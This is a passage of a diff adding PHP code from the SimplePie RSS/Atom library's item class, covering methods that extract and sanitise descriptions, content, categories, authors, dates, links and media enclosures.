+	 * @return string|null
+	 */
+	public function get_description($description_only = false)
+	{
+		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'summary'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'summary'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML);
+		}
+
+		elseif (!$description_only)
+		{
+			return $this->get_content(true);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the content for the item
+	 *
+	 * Prefers full content over summaries, but will return a summary if full
+	 * content does not exist.
+	 *
+	 * To prefer summaries instead, use {@see get_description}
+	 *
+	 * Uses `<atom:content>` or `<content:encoded>` (RSS 1.0 Content Module)
+	 *
+	 * @since 1.0
+	 * @param boolean $content_only Should we avoid falling back to the description?
+	 * @return string|null
+	 */
+	public function get_content($content_only = false)
+	{
+		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'content'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_content_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'content'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10_MODULES_CONTENT, 'encoded'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		elseif (!$content_only)
+		{
+			return $this->get_description(true);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a category for the item
+	 *
+	 * @since Beta 3 (previously called `get_categories()` since Beta 2)
+	 * @param int $key The category that you want to return.  Remember that arrays begin with 0, not 1
+	 * @return SimplePie_Category|null
+	 */
+	public function get_category($key = 0)
+	{
+		$categories = $this->get_categories();
+		if (isset($categories[$key]))
+		{
+			return $categories[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all categories for the item
+	 *
+	 * Uses `<atom:category>`, `<category>` or `<dc:subject>`
+	 *
+	 * @since Beta 3
+	 * @return array|null List of {@see SimplePie_Category} objects
+	 */
+	public function get_categories()
+	{
+		$categories = array();
+
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'category') as $category)
+		{
+			$term = null;
+			$scheme = null;
+			$label = null;
+			if (isset($category['attribs']['']['term']))
+			{
+				$term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($category['attribs']['']['scheme']))
+			{
+				$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($category['attribs']['']['label']))
+			{
+				$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			$categories[] = $this->registry->create('Category', array($term, $scheme, $label));
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'category') as $category)
+		{
+			// This is really the label, but keep this as the term also for BC.
+			// Label will also work on retrieving because that falls back to term.
+			$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			if (isset($category['attribs']['']['domain']))
+			{
+				$scheme = $this->sanitize($category['attribs']['']['domain'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			else
+			{
+				$scheme = null;
+			}
+			$categories[] = $this->registry->create('Category', array($term, $scheme, null));
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'subject') as $category)
+		{
+			$categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'subject') as $category)
+		{
+			$categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+
+		if (!empty($categories))
+		{
+			return array_unique($categories);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get an author for the item
+	 *
+	 * @since Beta 2
+	 * @param int $key The author that you want to return.  Remember that arrays begin with 0, not 1
+	 * @return SimplePie_Author|null
+	 */
+	public function get_author($key = 0)
+	{
+		$authors = $this->get_authors();
+		if (isset($authors[$key]))
+		{
+			return $authors[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a contributor for the item
+	 *
+	 * @since 1.1
+	 * @param int $key The contrbutor that you want to return.  Remember that arrays begin with 0, not 1
+	 * @return SimplePie_Author|null
+	 */
+	public function get_contributor($key = 0)
+	{
+		$contributors = $this->get_contributors();
+		if (isset($contributors[$key]))
+		{
+			return $contributors[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all contributors for the item
+	 *
+	 * Uses `<atom:contributor>`
+	 *
+	 * @since 1.1
+	 * @return array|null List of {@see SimplePie_Author} objects
+	 */
+	public function get_contributors()
+	{
+		$contributors = array();
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor)
+		{
+			$name = null;
+			$uri = null;
+			$email = null;
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
+			{
+				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
+			{
+				$uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
+			{
+				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $uri !== null)
+			{
+				$contributors[] = $this->registry->create('Author', array($name, $uri, $email));
+			}
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor)
+		{
+			$name = null;
+			$url = null;
+			$email = null;
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
+			{
+				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
+			{
+				$url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
+			{
+				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $url !== null)
+			{
+				$contributors[] = $this->registry->create('Author', array($name, $url, $email));
+			}
+		}
+
+		if (!empty($contributors))
+		{
+			return array_unique($contributors);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all authors for the item
+	 *
+	 * Uses `<atom:author>`, `<author>`, `<dc:creator>` or `<itunes:author>`
+	 *
+	 * @since Beta 2
+	 * @return array|null List of {@see SimplePie_Author} objects
+	 */
+	public function get_authors()
+	{
+		$authors = array();
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author)
+		{
+			$name = null;
+			$uri = null;
+			$email = null;
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
+			{
+				$name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
+			{
+				$uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
+			}
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
+			{
+				$email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $uri !== null)
+			{
+				$authors[] = $this->registry->create('Author', array($name, $uri, $email));
+			}
+		}
+		if ($author = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author'))
+		{
+			$name = null;
+			$url = null;
+			$email = null;
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
+			{
+				$name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
+			{
+				$url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
+			}
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
+			{
+				$email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $url !== null)
+			{
+				$authors[] = $this->registry->create('Author', array($name, $url, $email));
+			}
+		}
+		if ($author = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'author'))
+		{
+			$authors[] = $this->registry->create('Author', array(null, null, $this->sanitize($author[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)));
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author)
+		{
+			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author)
+		{
+			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author)
+		{
+			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+
+		if (!empty($authors))
+		{
+			return array_unique($authors);
+		}
+		elseif (($source = $this->get_source()) && ($authors = $source->get_authors()))
+		{
+			return $authors;
+		}
+		elseif ($authors = $this->feed->get_authors())
+		{
+			return $authors;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the copyright info for the item
+	 *
+	 * Uses `<atom:rights>` or `<dc:rights>`
+	 *
+	 * @since 1.1
+	 * @return string
+	 */
+	public function get_copyright()
+	{
+		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the posting date/time for the item
+	 *
+	 * Uses `<atom:published>`, `<atom:updated>`, `<atom:issued>`,
+	 * `<atom:modified>`, `<pubDate>` or `<dc:date>`
+	 *
+	 * Note: obeys PHP's timezone setting. To get a UTC date/time, use
+	 * {@see get_gmdate}
+	 *
+	 * @since Beta 2 (previously called `get_item_date` since 0.8)
+	 *
+	 * @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data)
+	 * @return int|string|null
+	 */
+	public function get_date($date_format = 'j F Y, g:i a')
+	{
+		if (!isset($this->data['date']))
+		{
+			if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'published'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'updated'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'issued'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'created'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'modified'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'pubDate'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'date'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'date'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+
+			if (!empty($this->data['date']['raw']))
+			{
+				$parser = $this->registry->call('Parse_Date', 'get');
+				$this->data['date']['parsed'] = $parser->parse($this->data['date']['raw']);
+			}
+			else
+			{
+				$this->data['date'] = null;
+			}
+		}
+		if ($this->data['date'])
+		{
+			$date_format = (string) $date_format;
+			switch ($date_format)
+			{
+				case '':
+					return $this->sanitize($this->data['date']['raw'], SIMPLEPIE_CONSTRUCT_TEXT);
+
+				case 'U':
+					return $this->data['date']['parsed'];
+
+				default:
+					return date($date_format, $this->data['date']['parsed']);
+			}
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the update date/time for the item
+	 *
+	 * Uses `<atom:updated>`
+	 *
+	 * Note: obeys PHP's timezone setting. To get a UTC date/time, use
+	 * {@see get_gmdate}
+	 *
+	 * @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data)
+	 * @return int|string|null
+	 */
+	public function get_updated_date($date_format = 'j F Y, g:i a')
+	{
+		if (!isset($this->data['updated']))
+		{
+			if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'updated'))
+			{
+				$this->data['updated']['raw'] = $return[0]['data'];
+			}
+
+			if (!empty($this->data['updated']['raw']))
+			{
+				$parser = $this->registry->call('Parse_Date', 'get');
+				$this->data['updated']['parsed'] = $parser->parse($this->data['date']['raw']);
+			}
+			else
+			{
+				$this->data['updated'] = null;
+			}
+		}
+		if ($this->data['updated'])
+		{
+			$date_format = (string) $date_format;
+			switch ($date_format)
+			{
+				case '':
+					return $this->sanitize($this->data['updated']['raw'], SIMPLEPIE_CONSTRUCT_TEXT);
+
+				case 'U':
+					return $this->data['updated']['parsed'];
+
+				default:
+					return date($date_format, $this->data['updated']['parsed']);
+			}
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the localized posting date/time for the item
+	 *
+	 * Returns the date formatted in the localized language. To display in
+	 * languages other than the server's default, you need to change the locale
+	 * with {@link http://php.net/setlocale setlocale()}. The available
+	 * localizations depend on which ones are installed on your web server.
+	 *
+	 * @since 1.0
+	 *
+	 * @param string $date_format Supports any PHP date format from {@see http://php.net/strftime} (empty for the raw data)
+	 * @return int|string|null
+	 */
+	public function get_local_date($date_format = '%c')
+	{
+		if (!$date_format)
+		{
+			return $this->sanitize($this->get_date(''), SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (($date = $this->get_date('U')) !== null && $date !== false)
+		{
+			return strftime($date_format, $date);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the posting date/time for the item (UTC time)
+	 *
+	 * @see get_date
+	 * @param string $date_format Supports any PHP date format from {@see http://php.net/date}
+	 * @return int|string|null
+	 */
+	public function get_gmdate($date_format = 'j F Y, g:i a')
+	{
+		$date = $this->get_date('U');
+		if ($date === null)
+		{
+			return null;
+		}
+
+		return gmdate($date_format, $date);
+	}
+
+	/**
+	 * Get the update date/time for the item (UTC time)
+	 *
+	 * @see get_updated_date
+	 * @param string $date_format Supports any PHP date format from {@see http://php.net/date}
+	 * @return int|string|null
+	 */
+	public function get_updated_gmdate($date_format = 'j F Y, g:i a')
+	{
+		$date = $this->get_updated_date('U');
+		if ($date === null)
+		{
+			return null;
+		}
+
+		return gmdate($date_format, $date);
+	}
+
+	/**
+	 * Get the permalink for the item
+	 *
+	 * Returns the first link available with a relationship of "alternate".
+	 * Identical to {@see get_link()} with key 0
+	 *
+	 * @see get_link
+	 * @since 0.8
+	 * @return string|null Permalink URL
+	 */
+	public function get_permalink()
+	{
+		$link = $this->get_link();
+		$enclosure = $this->get_enclosure(0);
+		if ($link !== null)
+		{
+			return $link;
+		}
+		elseif ($enclosure !== null)
+		{
+			return $enclosure->get_link();
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a single link for the item
+	 *
+	 * @since Beta 3
+	 * @param int $key The link that you want to return.  Remember that arrays begin with 0, not 1
+	 * @param string $rel The relationship of the link to return
+	 * @return string|null Link URL
+	 */
+	public function get_link($key = 0, $rel = 'alternate')
+	{
+		$links = $this->get_links($rel);
+		if ($links[$key] !== null)
+		{
+			return $links[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all links for the item
+	 *
+	 * Uses `<atom:link>`, `<link>` or `<guid>`
+	 *
+	 * @since Beta 2
+	 * @param string $rel The relationship of links to return
+	 * @return array|null Links found for the item (strings)
+	 */
+	public function get_links($rel = 'alternate')
+	{
+		if (!isset($this->data['links']))
+		{
+			$this->data['links'] = array();
+			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link') as $link)
+			{
+				if (isset($link['attribs']['']['href']))
+				{
+					$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
+					$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+
+				}
+			}
+			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link') as $link)
+			{
+				if (isset($link['attribs']['']['href']))
+				{
+					$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
+					$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+				}
+			}
+			if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'guid'))
+			{
+				if (!isset($links[0]['attribs']['']['isPermaLink']) || strtolower(trim($links[0]['attribs']['']['isPermaLink'])) === 'true')
+				{
+					$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+				}
+			}
+
+			$keys = array_keys($this->data['links']);
+			foreach ($keys as $key)
+			{
+				if ($this->registry->call('Misc', 'is_isegment_nz_nc', array($key)))
+				{
+					if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]))
+					{
+						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]);
+						$this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key];
+					}
+					else
+					{
+						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key];
+					}
+				}
+				elseif (substr($key, 0, 41) === SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY)
+				{
+					$this->data['links'][substr($key, 41)] =& $this->data['links'][$key];
+				}
+				$this->data['links'][$key] = array_unique($this->data['links'][$key]);
+			}
+		}
+		if (isset($this->data['links'][$rel]))
+		{
+			return $this->data['links'][$rel];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get an enclosure from the item
+	 *
+	 * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS.
+	 *
+	 * @since Beta 2
+	 * @todo Add ability to prefer one type of content over another (in a media group).
+	 * @param int $key The enclosure that you want to return.  Remember that arrays begin with 0, not 1
+	 * @return SimplePie_Enclosure|null
+	 */
+	public function get_enclosure($key = 0, $prefer = null)
+	{
+		$enclosures = $this->get_enclosures();
+		if (isset($enclosures[$key]))
+		{
+			return $enclosures[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all available enclosures (podcasts, etc.)
+	 *
+	 * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS.
+	 *
+	 * At this point, we're pretty much assuming that all enclosures for an item
+	 * are the same content.  Anything else is too complicated to
+	 * properly support.
+	 *
+	 * @since Beta 2
+	 * @todo Add support for end-user defined sorting of enclosures by type/handler (so we can prefer the faster-loading FLV over MP4).
+	 * @todo If an element exists at a level, but it's value is empty, we should fall back to the value from the parent (if it exists).
+	 * @return array|null List of SimplePie_Enclosure items
+	 */
+	public function get_enclosures()
+	{
+		if (!isset($this->data['enclosures']))
+		{
+			$this->data['enclosures'] = array();
+
+			// Elements
+			$captions_parent = null;
+			$categories_parent = null;
+			$copyrights_parent = null;
+			$credits_parent = null;
+			$description_parent = null;
+			$duration_parent = null;
+			$hashes_parent = null;
+			$keywords_parent = null;
+			$player_parent = null;
+			$ratings_parent = null;
+			$restrictions_parent = null;
+			$thumbnails_parent = null;
+			$title_parent = null;
+
+			// Let's do the channel and item-level ones first, and just re-use them if we need to.
+			$parent = $this->get_feed();
+
+			// CAPTIONS
+			if ($captions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'text'))
+			{
+				foreach ($captions as $caption)
+				{
+					$caption_type = null;
+					$caption_lang = null;
+					$caption_startTime = null;
+					$caption_endTime = null;
+					$caption_text = null;
+					if (isset($caption['attribs']['']['type']))
+					{
+						$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['attribs']['']['lang']))
+					{
+						$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['attribs']['']['start']))
+					{
+						$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['attribs']['']['end']))
+					{
+						$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['data']))
+					{
+						$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$captions_parent[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text));
+				}
+			}
+			elseif ($captions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'text'))
+			{
+				foreach ($captions as $caption)
+				{
+					$caption_type = null;
+					$caption_lang = null;
+					$caption_startTime = null;
+					$caption_endTime = null;
+					$caption_text = null;
+					if (isset($caption['attribs']['']['type']))
+					{
+						$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['attribs']['']['lang']))
+					{
+						$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['attribs']['']['start']))
+					{
+						$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['attribs']['']['end']))
+					{
+						$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['data']))
+					{
+						$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$captions_parent[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text));
+				}
+			}
+			if (is_array($captions_parent))
+			{
+				$captions_parent = array_values(array_unique($captions_parent));
+			}
+
+			// CATEGORIES
+			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'category') as $category)
+			{
+				$term = null;
+				$scheme = null;
+				$label = null;
+				if (isset($category['data']))
+				{
+					$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				if (isset($category['attribs']['']['scheme']))
+				{
+					$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				else
+				{
+					$scheme = 'http://search.yahoo.com/mrss/category_schema';
+				}
+				if (isset($category['attribs']['']['label']))
+				{
+					$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				$categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label));
+			}
+			foreach ((array) $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'category') as $category)
+			{
+				$term = null;
+				$scheme = null;
+				$label = null;
+				if (isset($category['data']))
+				{
+					$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				if (isset($category['attribs']['']['scheme']))
+				{
+					$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				else
+				{
+					$scheme = 'http://search.yahoo.com/mrss/category_schema';
+				}
+				if (isset($category['attribs']['']['label']))
+				{
+					$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				$categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label));
+			}
+			foreach ((array) $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'category') as $category)
